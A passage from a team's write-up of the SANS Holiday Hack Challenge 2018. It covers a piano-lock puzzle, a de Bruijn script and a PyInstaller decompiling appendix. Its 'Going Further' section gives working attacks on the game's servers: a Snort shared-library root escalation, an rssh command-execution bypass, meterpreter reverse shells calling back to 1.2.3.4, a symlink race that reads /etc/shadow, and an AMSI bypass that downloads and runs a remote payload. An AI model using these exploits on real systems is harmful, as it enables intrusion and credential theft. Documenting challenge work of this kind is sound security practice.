COMMIT;
Answer:
ED#ED#EED#EF#G#F#G#ABA#BA#B
:CUSTOM_ID: obj9
Who Is Behind It All?
Goal
Use what you have learned from previous challenges to open the door to Santa's vault. What message do you get when you unlock the door?
Background
Solution
We take the notes recovered from Alabaster's decrypted password vault, and try it on the piano lock. The document we recovered from Packalyzer helpfully shows us the notes on the piano keys.
Figure 58: Wrong key
The hint tells us that it should be in the key of D, not E. The Packalyzer document also told us how to transcribe music from one key to another. Let's try:
Note in key of E | Note in key of D |
---|---|
E | D |
D# | C# |
E | D |
D# | C# |
E | D |
E | D |
D# | C# |
E | D |
F# | E |
G# | F# |
F# | E |
G# | F# |
A | G |
B | A |
A# | G# |
B | A |
A# | G# |
B | A |
Trying that sequence (DC#DC#DDC#DEF#EF#GAG#AG#A
) reveals:
Figure 59: Right key!
Once we enter the vault, Alabaster tells us:
Of course I transposed it it before I entered it into my database for extra security.
Hans offers us a congratulations, and Santa explains the whole thing, finishing:
You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?
They lived happily ever after.
So, who was behind it all?
Answer:
Santa
de Bruijn Piano Lock?
After learning about de Bruijn sequences, we were curious if that
would work here. The lock seemed to operate in the same way, as it
would try unlocking after each note was pressed. We noticed that
the tune in question had a similar note pattern at the end
(AG#AG#A
) as at the beginning (DC#DC#D
). We whipped up a quick
Python program that verified that in fact we could generate a de
Bruijn sequence.
#!/usr/bin/env python notes = ['C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#', 'A', 'A#', 'B'] tune = ['E', 'D#', 'E', 'D#', 'E', 'E', 'D#', 'E', 'F#', 'G#', 'F#', 'G#', 'A', 'B', 'A#', 'B', 'A#', 'B'] def adjust(offset): result = [] for note in tune: index = notes.index(note) index += offset if index >= len(notes): index = index % len(notes) result.append(notes[index]) return result first = tune[0] result = adjust(0) last = result[-1] offsets = [0] sequence = result[:-5] while True: offset = notes.index(last) - notes.index(first) if offset in offsets: # Loop detected break result = adjust(offset) print "Key is now", result[0] last = result[-1] offsets.append(offset) sequence += result[:-5] print "de Bruijn sequence is", len(sequence), "notes long." print "Without de Bruijn, it would've been", len(offsets)*len(tune), "notes long." print " ".join(sequence)
The result was:
Key is now B Key is now F# Key is now C# Key is now G# Key is now D# Key is now A# Key is now F Key is now C Key is now G Key is now D Key is now A de Bruijn sequence is 156 notes long. Without de Bruijn, it would've been 216 notes long. E D# E D# E E D# E F# G# F# G# A B A# B A# B B A# B C# D# C# D# E F# F F# F F# F# F F# G# A# G# A# B C# C C# C C# C# C C# D# F D# F F # G# G G# G G# G# G G# A# C A# C C# D# D D# D D# D# D D# F G F G G # A# A A# A A# A# A A# C D C D D# F E F E F F E F G A G A A # C B C B C C B C D E D E F G F# G F# G G F# G A B A B C D C# D C# D D C# D E F# E F# G A G# A G# A A G# A B C# B C# D
What's even cooler is that the sequence goes through all of the keys before it repeats!
Figure 60: de Bruijn key sequence for Marriage of Figaro
Rachmaninoff?
As we walk around the castle, everyone congratulates us on winning. However, we don't feel complete, as we're left with the nagging question of what in the world Alabaster was talking about with his Rachmaninoff-no-really-Mozart song. We have the notes, but not the tune. Can we figure out the song?
This one we solved two ways:
Musipedia.org allows you to search by melodic contour (Parsons code). By simply saying if each note progression goes up, down, or repeats, it can find the closest matches:
Figure 61: Musipedia Parsons search
The Wedding of Figaro seems to match perfectly:
Figure 62: Wedding of Figaro, by Mozart
But still… why Rachmaninoff, then? The answer is found in the second method we used to figure this out:
Figure 63: Asking on Facebook…
And with that, Santa's parting words make a lot more sense too:
Going Further: Escalations and 0days
At this point, we've solved it all! However, our curiousity is unabated, and we'd like to know what else we can find…
Note
We managed to escalate to root on the snort terminal, pivot to snortsensor1, where we got command execution and were able to read files with root privileges. Finally, we got a shell on careers.
Scan-O-Matic
We managed to get through the Scan-O-Matic, but we were curious to see who had access.
We wrote two simple tools which allowed us to use sqlmap
to enumerate the rest of the data in the table:
+------------------+---------+----------------+------------+------------+ | uid | enabled | last_name | first_name | authorized | +------------------+---------+----------------+------------+------------+ | 1eyLovhxiOIlfRUG | 0 | evergreen | bushy | 0 | | 5qLIf1BXX4Sv8sEX | 0 | minstix | pepper | 0 | | 8DEb50kquIoIoUtg | 0 | redberry | sparkle | 0 | | dsdZpzQxGCqaA2Zn | 0 | candycane | minty | 0 | | exO6PqczJ7WedM2Q | 0 | upatree | shimmy | 0 | | I7SfXpRjJ1iVSfdt | 0 | openslae | wunorse | 0 | | Io2gs3VigcqjSxW2 | 0 | claus | santa | 1 | | N2Jg3gxC5aXHVjjD | 0 | sugarplum | mary | 0 | | nb8ZVgfMk9OYtuCl | 1 | <blank> | theo | 1 | | oRfjg5uGHmbduj2m | 0 | snowball | alabaster | 1 | | P8qXJeGhy1LRlM5e | 0 | mcjinglehauser | tarpin | 0 | | VvYFHiGQzrQB9eAT | 0 | evergreen | holy | 0 | +------------------+---------+----------------+------------+------------+
We note that only Theo has access.
Escalating to root on snort
We've solved the Snort challenge, but what else can we do on that system?
Checking ps
, we see:
elf@snort:~$ ps auxwwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 18028 2880 pts/0 Ss 05:07 0:00 /bin/bash ./init root 11 0.4 0.0 18028 2904 pts/0 S 05:07 0:05 /bin/bash /root/check root 10448 0.0 0.0 24620 7028 pts/0 R 05:29 0:00 \_ python3 -c import time; time.sleep(0.1) root 12 0.0 0.0 46988 2816 pts/0 S 05:07 0:00 /bin/su elf elf 13 0.0 0.0 18244 3344 pts/0 S 05:07 0:00 \_ bash
So, root is running a number of processes. Let's see if we can
figure out what's happening behind the scenes to test our
rule. It seems as if something happens whenever we modify the
local.rules file, so we can simulate that with touch
:
elf@snort:~$ touch /etc/snort/rules/local.rules ; sleep 2; ps auxwwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 18028 2840 pts/0 Ss 05:31 0:00 /bin/bash ./init root 9 0.2 0.0 129696 20132 pts/0 Sl 05:31 0:00 python3 /root/trons root 803 0.0 0.0 4500 780 pts/0 S 05:33 0:00 \_ /bin/sh -c snort -A fast -r /root/snort.log.pcap -l /root/user_snort_logs/ -c /etc/snort/snort.conf root 804 12.0 0.1 548060 108972 pts/0 Sl 05:33 0:00 \_ snort -A fast -r /root/snort.log.pcap -l /root/user_snort_logs/ -c /etc/snort/snort.conf root 11 0.4 0.0 18028 2820 pts/0 S 05:31 0:00 /bin/bash /root/check root 814 0.0 0.0 22924 3572 pts/0 R 05:33 0:00 \_ python3 -c import time; time.sleep(0.1) root 12 0.0 0.0 46988 2712 pts/0 S 05:31 0:00 /bin/su elf elf 14 0.0 0.0 18240 3188 pts/0 S 05:31 0:00 \_ bash
Here we see that root actually runs snort
to check our
rules. Perhaps we can modify the Snort configuration in such a
way to run some commands as root? We can't modify
/etc/snort/snort.conf
, but let's see how the local.rules
file
is being loaded:
elf@snort:~$ grep local.rules /etc/snort/snort.conf include $RULE_PATH/local.rules
Ah! It seems as if it's being included into the config. A generic
include
statement would imply that we could modify arbitrary
configuration settings, and we're not simply limited to adding
rules. Looking over the Snort documentation, we found a very
intriguing option:
dynamicpreprocessor [file <shared library path> | directory <directory of shared libraries> ]
Tells snort to load the dynamic preprocessor shared library (if file is used) or all dynamic preprocessor shared libraries (if directory is used).
Time to create a malicious shared library:
msfvenom -p linux/x64/exec CMD="echo 'elf ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" -f elf-so -o sudo.so
The above command uses Metasploit's msfvenom
to create a shared
library which will execute a command when it's loaded. Because
Snort's running as root, the command will run as root as
well. The command grants our elf
user the ability to run any
command with superuser privileges, without prompting for a
password.
The Snort system is the only Docker container which has
networking enabled. We can transfer our new shared library by
simply using wget
. Then, we add it to the local.rules
file:
elf@snort:~$ wget 2.2.2.2/snort.so elf@snort:~$ echo 'dynamicpreprocessor /home/elf/sudo.so' > /etc/snort/rules/local.rules # Wait a few seconds for for root to run snort... elf@snort:~$ sudo su - root@snort:~# id uid=0(root) gid=0(root) groups=0(root)
Pivoting to snortsensor1
Now that we have root access on the Snort docker container, we can extract the HMAC key from the script. We also see the following interesting snippet from the trons
script (snort spelled backwards):
def download_snort_pcap(): while True: sp.call('/usr/bin/scp -oStrictHostKeyChecking=no -i /root/elf.key elf@snortsensor1.kringlecastle.com:snort.log.pcap /root/ 2>/dev/null >/dev/null', shell=True) copyfile('/root/snort.log.pcap', '/home/elf/snort.log.pcap') time.sleep(10)
Sure enough, using the private key, we can also login to snortsensor1 as elf. However, we run into an issue:
root@snort:~# ssh -i elf.key elf@snortsensor1.kringlecastle.com Linux hhc18-snortsensor 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u6 (2018-10-08) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Dec 12 23:27:59 2018 from 75.142.153.7 This account is restricted by rssh. Allowed commands: scp sftp If you believe this is in error, please contact your system administrator. Connection to snortsensor1.kringlecastle.com closed.
Command execution on snortsensor1
We need to figure out a way past rssh
. We can copy files off of
the system, and we can copy /etc/rssh.conf
, which mainly has:
allowscp allowsftp
To start, let's see what actually happens when we run
scp
. We'll run it with the --verbose
(-v
) flag:
$ scp -v -i elf.key test_file elf@snortsensor1.kringlecastle.com: Executing: program /usr/bin/ssh host snortsensor1.kringlecastle.com, user elf, command scp -v -t . OpenSSH_7.7p1, LibreSSL 2.7.3 ...
So, scp
is simply calling ssh
with a fixed command. We can run this ourselves to verify:
$ ssh -i elf.key elf@snortsensor1.kringlecastle.com 'scp -v -t .'
<hangs...>
lll
scp: lll
Sink: lll
So, the program hangs, and once we type some input, we get some
text back. So, it certainly seems as if rssh
allowed us to run
our scp
command. Can we run other commands this way?
$ ssh -i elf.key elf@snortsensor1.kringlecastle.com 'id' This account is restricted by rssh. Allowed commands: scp sftp If you believe this is in error, please contact your system administrator.
That's a negative. rssh
must be filtering the commands we can
run. Time to dive into the scp
and ssh
documentation, and see
if there's a way we can craft an scp
invocation that will cause
it to execute commands. Quickly, we identify a promising candidate:
-S program Name of program to use for the encrypted connection. The program must understand ssh(1) options.
$ ssh -i elf.key elf@snortsensor1.kringlecastle.com 'scp -S id -v -t .' 1 master illegal insecure S option This account is restricted by rssh. Allowed commands: scp sftp If you believe this is in error, please contact your system administrator.
They're on to us… Reading further, we see that we can also pass ssh
options to scp
:
-o ssh_option Can be used to pass options to ssh in the format used in ssh_config(5). This is useful for specifying options for which there is no separate scp command-line flag. For full details of the options listed below, and their possible values, see ssh_config(5). AddressFamily BatchMode ...
Reading through the ssh_config
man page, we find another intriguing option:
PKCS11Provider Specifies which PKCS#11 provider to use. The argument to this keyword is the PKCS#11 shared library ssh(1) should use to communicate with a PKCS#11 token providing the user's private RSA key.
From the snort system, we already know the fun we can have with a shared library. First, we'll build a library which executes a command when it's loaded:
$ msfvenom -p linux/x64/exec CMD="id" -f elf-so -o pkcs11_id.so No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 47 bytes Final size of elf-so file: 449 bytes Saved as: pkcs11_id.so
Now, will scp
load this? We test on our system first:
$ scp -o PKCS11Provider=pkcs11_id.so -v -t .
<hangs...>
llll
Sink: llll
scp: llll
No, the same behavior. Of course! The man page said that this
option is passed to the ssh
call, and by just listening for
data, scp
is never calling ssh
. To make it do this, we'll try
using scp
to send a file from our system to another:
$ scp -o PKCS11Provider=./pkcs11_id.so test_file test_server: uid=1000(rssh_user) gid=1000(rssh_user) groups=1000(rssh_user)
Success! Now the question is, will rssh
allow this new scp
command? First, we'll copy our shared library over to the
system. We'll add another ssh
option to ignore the "New host
key, Are you sure you want to continue?" prompt:
$ scp -i elf.key pkcs11_id.so elf@snortsensor1.kringlecastle.com: pkcs11_id.so $ COMMAND='scp -o StrictHostKeyChecking=no -o PKCS11Provider=/home/elf/pkcs11_id.so /dev/null 1.2.3.4:' $ ssh -i elf.key elf@snortsensor1.kringlecastle.com $COMMAND uid=1005(elf) gid=1006(elf) groups=1006(elf)
Success!
We reported this issue to the rssh
author, who replied saying that:
RSSH is no longer maintained.
We've applied for a CVE and will update our report when that's assigned.
So… we discovered a 0day! And perhaps it's time for people to switch off of rssh
.
At this point, it's trivial to escalate this to a meterpreter shell:
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST="1.2.3.4" -f elf-so -o legit.so No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 127 bytes Final size of elf-so file: 529 bytes Saved as: legit.so $ scp -i elf.key legit.so elf@snortsensor1.kringlecastle.com: legit.so 100% 529 27.0KB/s 00:00 $ COMMAND='scp -o StrictHostKeyChecking=no -o PKCS11Provider=/home/elf/legit.so /dev/null 1.2.3.4:' # At this point, we start a metasploit session listening in another window: $ msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp ; set LHOST 1.2.3.4; run" ... PAYLOAD => linux/x64/meterpreter/reverse_tcp LHOST => 1.2.3.4 [*] Exploit running as background job 0. [*] Started reverse TCP handler on 1.2.3.4:4444 # Finally, we can trigger the attack: $ ssh -i ~/hhc18/snort/root/elf.key elf@snortsensor1.kringlecastle.com $COMMAND # This hangs, but, meanwhile... msf exploit(handler) > [*] Sending stage (2878936 bytes) to 104.196.66.61 [*] Meterpreter session 1 opened (1.2.3.4:4444 -> 104.196.66.61:48850) at 2019-01-14 17:38:48 +0000 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : hhc18-snortsensor.c.holidayhack2018.internal OS : Debian 9.5 (Linux 4.9.0-8-amd64) Architecture : x64 Meterpreter : x64/linux
Bingo!
Privilege Escalation on snortsensor1
Now that we have a comfortable foothold, we can see how the
holiday magic of snortsensor1 was created. Looking at processes
running, we identify /home/chris/packet_generator.py
, and we
notice that it's running as root. The main logic of that script
is:
if __name__ == "__main__": os.chdir('/home/chris') local_ip = ni.ifaddresses('eth0')[AF_INET][0]['addr'] bad_packets = rdpcap('wannacookie_txt_dropper_only_queries.pcap') bad_packets2 = rdpcap('wannacookie_txt_dropper_only_queries.pcap') good_packets = rdpcap('wannacookie_txt_dropper_only_queries.pcap') good_packets = morph_good_packets(good_packets, local_ip) bad_packets = morph_bad_packets(bad_packets, local_ip) bad_packets2 = morph_bad_packets(bad_packets2, local_ip) final_packets = [] # ... destination_file = 'snort.log.'+ str(time.time()) +'.pcap' generated_file = '/home/elf/snort.log.pcap' #Remove Old Pcaps From Web Dir listed_dir = [x for x in os.listdir('/var/www/html/') if x.endswith('.pcap')] while len(listed_dir) > 5: tmp = [os.path.getctime('/var/www/html/'+x) for x in listed_dir] oldest = min(tmp) os.remove('/var/www/html/'+listed_dir[tmp.index(oldest)]) if os.path.exists(generated_file): os.remove(generated_file) wrpcap(generated_file, final_packets) copyfile(generated_file, '/var/www/html/'+destination_file)
This script has a vulnerability in this section:
# If the file already exists, remove it if os.path.exists(generated_file): os.remove(generated_file) # Write the new PCAP to /home/elf/snort.log.pcap wrpcap(generated_file, final_packets) # Copy the file to the web root copyfile(generated_file, '/var/www/html/'+destination_file)
Let's assume that an attacker wants to access a file on the
system that the elf user isn't authorized to read. Because
packet_generator.py
is running as root, the attacker knows that
the script can read that file. Furthermore, the script is
placing files in the publicly accessible web server root.
Linux uses symbolic links (symlinks), almost as a pointer from one location to another on the filesystem. If an attacker times their attack just right, they can do something like:
Figure 64: packet_generator race condition
An interesting note is that this attack was possible without the
rssh
vulnerability, as sftp
was allowed, and sftp
can
create symlinks.
However, this race is very hard to win. And, if we don't time it right, the following happens:
Figure 65: packet_generator oops condition
Let's see if we can't improve our odds. Another special Linux
file is a FIFO, or named
pipe. These are designed so that one side will write to it, and
another will read to it. All data is passed internally, without
being written to the filesystem. One side-effect of using a FIFO
is that, when you write to it, your program will hang until
something reads from it. We can use this to cause
packet_generator
to pause at the right time, giving us a much
better chance to win the race.
Figure 66: packet_generator FIFO
We've successfully moved the race up a step, where now we need to
get packet_generator
writing to our FIFO just after it deletes
snort.log.pcap
, but before it starts writing to it. However,
this approach has two advantages: the wrpcap
function takes a
bit of time to run, and the risk of accidentally overwriting our
target file is greatly reduced.
We weaponized this as a bash script, which has the following logic:
Figure 67: race.sh logic
#!/bin/bash FILE="$1" OLD_PID="NOT_FOUND" rm race.fifo mkfifo race.fifo while true do PID=$(pgrep python3) ATTEMPT_DONE="no" while [[ "$OLD_PID" -ne "$PID" ]] do if [[ -n "$PID" ]] then ELAPSED=$(ps -o etimes:1= -p $PID) if [[ "$ELAPSED" -gt "4" ]] then # Running for more than 4 seconds. Now's our chance! echo "Creating symlink to $FILE" rm -f snort.log.pcap ln -sf -- "$FILE" snort.log.pcap timeout 2 cat race.fifo rm -f snort.log.pcap ATTEMPT_DONE="yes" OLD_PID=$PID else # Process is running, but is new. Flip-flop the symlink for i in {1..10} do ln -sf race.fifo snort.log.pcap sleep 0.05 ln -sf race.not_a_fifo snort.log.pcap sleep 0.05 done fi else # Not running. Make sure race.not_a_fifo is gone, and wait rm -f race.not_a_fifo sleep 0.5 PID=$(pgrep python3) fi done if [[ "$ATTEMPT_DONE" = "yes" ]] then # We've completed our hijack attempt. Did it work? if file /var/www/html/* 2> /dev/null | grep -qv tcpdump then ls -la -- /var/www/html "$FILE" exit fi ATTEMPT_DONE="no" else echo "Waiting on new process..." sleep 0.5 fi done
When running, this looks like:
meterpreter > shell Process 26394 created. Channel 9 created. bash ./trap.sh /etc/shadow Waiting on new process... ... Creating symlink to /etc/shadow ls -la -- /var/www/html /etc/shadow -rw-r----- 1 root shadow 1899 Jan 14 05:13 /etc/shadow /var/www/html: total 448 drwxr-xr-x 2 root root 4096 Jan 14 19:36 . drwxr-xr-x 3 root root 4096 Nov 1 13:58 .. -rw-r--r-- 1 root root 87871 Jan 14 19:30 snort.log.1547494206.738935.pcap -rw-r--r-- 1 root root 88623 Jan 14 19:32 snort.log.1547494327.5587683.pcap -rw-r--r-- 1 root root 88558 Jan 14 19:33 snort.log.1547494387.5040042.pcap -rw-r--r-- 1 root root 89307 Jan 14 19:35 snort.log.1547494507.5282817.pcap -rw-r--r-- 1 root root 1899 Jan 14 19:36 snort.log.1547494567.4750795.pcap
We see that there's a new file, with the same size as our target. Now we can download it, and we've got some hashes!
root:$6$<HASH_REDACTED>:17837:0:99999:7::: daemon:*:17815:0:99999:7::: ... sshd:*:17815:0:99999:7::: dpendolino:*:17836:0:99999:7::: tkh16:*:17836:0:99999:7::: chrisjd20:*:17836:0:99999:7::: chris:$6$<HASH_REDACTED>:17837:0:99999:7::: snort:*:17836:0:99999:7::: messagebus:*:17836:0:99999:7::: elf:$6$IQLqM3xd$9pNFY88Tu6s6ZWqqu/XSBZMf.VXcV7SuLte49nYIrhTg8BfHUkwZW6fue8irCm4GYnpgQBO17bfW16HvMR6YA1:17837:0:99999:7::: daniel:*:17844:0:99999:7::: tom:*:17876:0:99999:7::: jeff:*:17901:0:99999:7:::
At this point, if we can crack root's password, we have completely compromised this system.
Popping a shell on careers
The final system we turned our attention to was careers.kringlecastle.com. We already got our file off of this system, but we'd like to see what else we can do.
We first tried to get a meterpreter session running, but quickly found that Windows Defender was blocking it. We were able to bypass Defender with this method: https://rastamouse.me/2018/12/amsiscanbuffer-bypass-part-4/
$Ref = ( "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" ) $Source = @" using System; using System.Runtime.InteropServices; namespace Bypass { public class AMSI { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void MoveMemory(IntPtr dest, IntPtr src, int size); public static int Disable() { IntPtr TargetDLL = LoadLibrary("amsi.dll"); if (TargetDLL == IntPtr.Zero) { return 1; } IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer"); if (ASBPtr == IntPtr.Zero) { return 1; } UIntPtr dwSize = (UIntPtr)5; uint Zero = 0; if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; } Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; IntPtr unmanagedPointer = Marshal.AllocHGlobal(6); Marshal.Copy(Patch, 0, unmanagedPointer, 6); MoveMemory(ASBPtr, unmanagedPointer, 6); return 0; } } } "@ Add-Type -ReferencedAssemblies $Ref -TypeDefinition $Source -Language CSharp [Bypass.AMSI]::Disable(); # This loads and runs our actual payload IEX ((new-object net.webclient).downloadstring("http://1.2.3.4/hugs.ps1"));
To create our actual payload, we use msfvenom
once again. For
the reasons listed in the article above, we're careful to use a
64-bit payload, so as to not spawn a non-bypassed 32-bit
Powershell instance.
$ msfvenom --platform windows -p windows/x64/meterpreter_reverse_tcp LHOST=1.2.3.4 LPORT=4444 -f psh -o hugs.ps1 No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 205379 bytes Final size of psh file: 959328 bytes Saved as: hugs.ps1
We fire up meterpreter (-x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_tcp ; set LHOST 1.2.3.4; run"
), and soon see:
[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 35.231.207.76:49832) at 2019-01-14 09:16:54 +0000 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System 264 592 svchost.exe 280 4 smss.exe 368 360 csrss.exe 448 360 wininit.exe 456 440 csrss.exe 480 2180 powershell.exe x64 0 HHC18-DDE\sparkle.redberry C:\Windows\System32\WindowsPowerShell...
Unfortunately, our shell will get killed off after about 30 seconds. So, we'll migrate to another process. We see that Sparkle is running the Non-Sucking Service Manager, so we'll try to migrate to that process:
msf exploit(handler) > set AutoRunScript post/windows/manage/migrate SPAWN=false PID=2864 AutoRunScript => post/windows/manage/migrate SPAWN=false PID=2864 msf exploit(handler) > rerun [*] Stopping existing job... [*] Reloading module... [*] Exploit running as background job 1. msf exploit(handler) > [*] Started reverse TCP handler on 1.2.3.4:4444 [*] Meterpreter session 2 opened (1.2.3.4:4444 -> 35.231.207.76:49921) at 2019-01-14 19:56:47 +0000 [*] Session ID 2 (1.2.3.4:4444 -> 35.231.207.76:49921) processing AutoRunScript 'post/windows/manage/migrate SPAWN=false PID=2864' [*] Running module against HHC18-DDE [*] Current server process: powershell.exe (3296) [+] Migrating to 2864 [+] Successfully migrated to process 2864
At this point, we tried a few things (and were able to recover Sparkle's password hash through an SMB relay attack), but the escalation paths we saw risked the stability of the game, and we didn't pursue the matter.
Working as a Team
While working on this challenge, we used three main techniques to get things done and stay organized. We were mostly working in the same room that happened to have a couple of big whiteboards. Those came in handy as we slowly drew out the map of the game and location of all things in it. We also originally tracked our progress using this. The whiteboards also came in handy as a way to quickly iterate through ideas on specific challenges we faced.
Figure 68: Map Whiteboard
The use of a private Slack channel was also very helpful. It existed as a place to both dump answers, clues, and interesting artifacts, as well as a good place for discussion for when we weren’t in the same room.
Figure 69: Progress Whiteboard
Our final method for working was using a private GitHub repo. We didn’t want to have a public one because we didn’t want to spoil things for others, nor did we want to give away any advantage we had or secrets we found. GitHub was very useful for a place for more well defined to do list. We used GitHub issues to track what we still needed to do and chat about who was doing what. Labelling issues helped us to prioritize this to do list so we could make sure to finish up the challenge with the most impactful parts done.
All in all, using these collaboration techniques allowed us to be as comprehensive as we could with both the challenge and the end report.
Easter Eggs
A quick list of easter eggs that we found as we were going through the game.
Egg | Location | Reference | Notes |
---|---|---|---|
OHHIMARK | LineCon/KringleCon | The Room | WebSocket Message |
"Wake up, we're at Grandma's" | LineCon/KringleCon | MST3k | WebSocket Message |
egg.png | LineCon/KringleCon | Twitter Egg Logo | |
a-wild-missingno-appears | LineCon/KringleCon | Pokemon | |
Lethal ForensicELFification | Terminal | Lethal Forensicator | |
Lethal ForensicELFification | Terminal | The Raven | |
-a 42 |
Stall Mucking Argument | Hitchhiker's Guide | smbwrapper command argument |
ignore-sw-holiday-special |
Stall Mucking Argument | Star Wars Holiday Special & 2016 HHC | smbwrapper command argument |
directreindeerflatterystable | Stall Mucking Password | XKCD | |
KONAMI CODE | Yule Log Analysis | Konami Code and 2015 HHC | In reverse-engineered code |
Escape from LA | Python Terminal | Escape from LA movie ("Snake is Back!") | |
Candy Striper | CURLing Terminal | 2017 HHC | |
EE2 (CranPi Logo) | GitLab | Old HHCs, Raspberry Pi | |
EE3 (Drawing of Hans) | GitLab | Die Hard | |
Theo Authorized User | Scan-O-Matic Database | Die Hard (he was the hacker) | Only authorized and enabled user |
Bill Clay | Wannacookie HTML Source | Die Hard (Hans' alias) | |
InigoMontoya | Vents Code | Princess Bride | |
Happy Trails | Answer 1 | Die Hard | |
John McClane | Answer 2 | Die Hard | |
Yippee-ki-yay | Answer 4 | Die Hard | |
19880715 | Answer 5 | Die Hard | Movie release date |
Fancy Beaver | Answer 7 | Fancy Bear APT Group | |
erohetfanu.com | Answer 10 | Die Hard | hansgruber ROT-13 and backwards |
yippeekiyaa.aaay | Answer 11 | Die Hard | |
Piano Lock & Rachmaninoff | Answer 12 | Willy Wonka | |
Many Hans quotes | KringleCon | Die Hard | |
Toy Soldier quotes | KringleCon | Die Hard | From Hans' German-speaking associates |
Dungeon for Errant Reindeer | Hans Quote | 2016 HHC | |
ATNAS Corporation, Miss Cindy Lou Who | Hans Quote | 2015 HHC | |
Glinda the Good Witch | Hans Quote | 2017 HHC | |
The Plant | Front Door | Previous HHCs, psmitty | First person to get all challenge coins! |
Thank Yous
As proud as we are to have completed this Holiday Hack Challenge, we would be remiss to not publicly acknowledge a few people outside of this team who helped us during the challenge.
Justin Azoff (Corelight): Helped greatly on the Scan-O-Matic as well as some other thoughts and ideas throughout
Michael Sinatra (ESnet): Helped us figure out why we were unable to query Hans’ DNS resolver from Linux/macOS at first (search for noedns for more info)
Nick Buraglio (ESnet): Thanks to his time pretending to be Randall from the movie “Clerks” he immediately thought of the musical lock in Charlie and the Chocolate Factory when we were first stuck on that
We're also very grateful to SANS for this event, recognizing all the hard work that went into it.
But, most of all, we also need to thank our significant others for putting up with our efforts leading to some late nights and busy weekends. We all may need to stop at the florist on the way home today.
Appendix 1: Reverse Engineering PyInstaller Binaries
On some of the terminals, we would need to invoke a command, such as
runtoanswer
and provide the correct answer in order to receive
credit for that terminal. Other terminals would automatically invoke
a command once a certain condition has been met. Inspecting these
files, we discovered that they were standalone Linux ELF binaries,
which had been packaged by PyInstaller from a standalone Python
script. We wanted to recover the original Python script, and were able to do just that.
Extracting the code object
PyInstaller provides a tool,
pyi-archive_viewer
, for inspecting archives and binaries created with it.First, we install pyinstaller:
pip install pyinstaller
. Now we can usepyi-archive_viewer
to inspect our file:$ pyi-archive_viewer -l runtoanswer # pos, length, uncompressed, iscompressed, type, name [(0, 158, 175, 1, 'm', u'pyimod00_crypto_key'), (158, 254, 332, 1, 'm', u'struct'), (412, 1144, 1992, 1, 'm', u'pyimod01_os_path'), (1556, 4460, 10063, 1, 'm', u'pyimod02_archive'), (6016, 7539, 19710, 1, 'm', u'pyimod03_importers'), (13555, 1900, 4513, 1, 's', u'pyiboot01_bootstrap'), (15455, 2182, 18185, 1, 's', u'psmenu'), ...
An ELF binary can have arbitrary data at the end of the file, and in our case, PyInstaller appends an archive with scripts, modules, and even shared objects that it needs to run the script.
In this instance, we want the script
psmenu
, which is at offset 15,455 relative to the start of the archive (note: not from the beginning of the ELF binary). The script has a length of 2,182 bytes compressed, and 18,185 uncompressed. The type denotes that it's a script, and its original name waspsmenu
.We can create a one-liner to generate the name of the script we want to extract:
pyi-archive_viewer -l runtoanswer | grep -A1 bootstrap | tail -n 1 | cut -f 4 -d"'"
We're grabbing the line which comes after bootstrap, and then we're grabbing the 4th field, as delimited by single-quotes.
Now we can use
pyi-archive_viewer
to extract and uncompress our file:$ pyi-archive_viewer runtoanswer ... ? x psmenu to filename? psmenu.extracted ? q
Converting the code object to a .pyc file
After some investigation, it turned out that what we've extracted is just a Python code object. We can import it into Python and view a disassembly, but in order to use some decompiling tools to try to recover source code, we need to have a byte-compiled Python file. To convert it, we just need to add a few bytes of header values. The easiest way to do this is just to extract another file, which is a valid pyc file, and copy the bytes from its header. We use
pyi-archive_viewer
to extractpyimod03_importers
, and we can verify that it has the right header:$ file * psmenu.extracted: data pyimod03_importers: python 3.5.2+ byte-compiled
The pyc file format calls for a 12-byte header, so we can grab the first 12 bytes using
dd
and save it to a file:dd if=pyimod03_importers of=pyc_header bs=1 count=12
Next we simply concatenate the two files:
cat pyc_header psmenu.extracted > psmenu.pyc
.Decompiling the .pyc file Now that we have a valid .pyc file, we can use
uncompyle6
to convert it back to a Python script:uncompyle6 psmenu.pyc > psmenu.py
Appendix 2: Game Internals: HMACs and Hidden Terminal Messages
In order to receive credit for successfully completing a game objective, such as a Cranberry Pi terminal challenge, or an objective, HMACs are used. In this section, we'll discuss how they're used, and how we were able to forge these after stealing the keys for some of the challenges.
Recovering the HMAC keys
After reverse engineering one of the runtoanswer
binaries on a
Cranberry Pi system, we can see how the scripts generate the
HMAC:
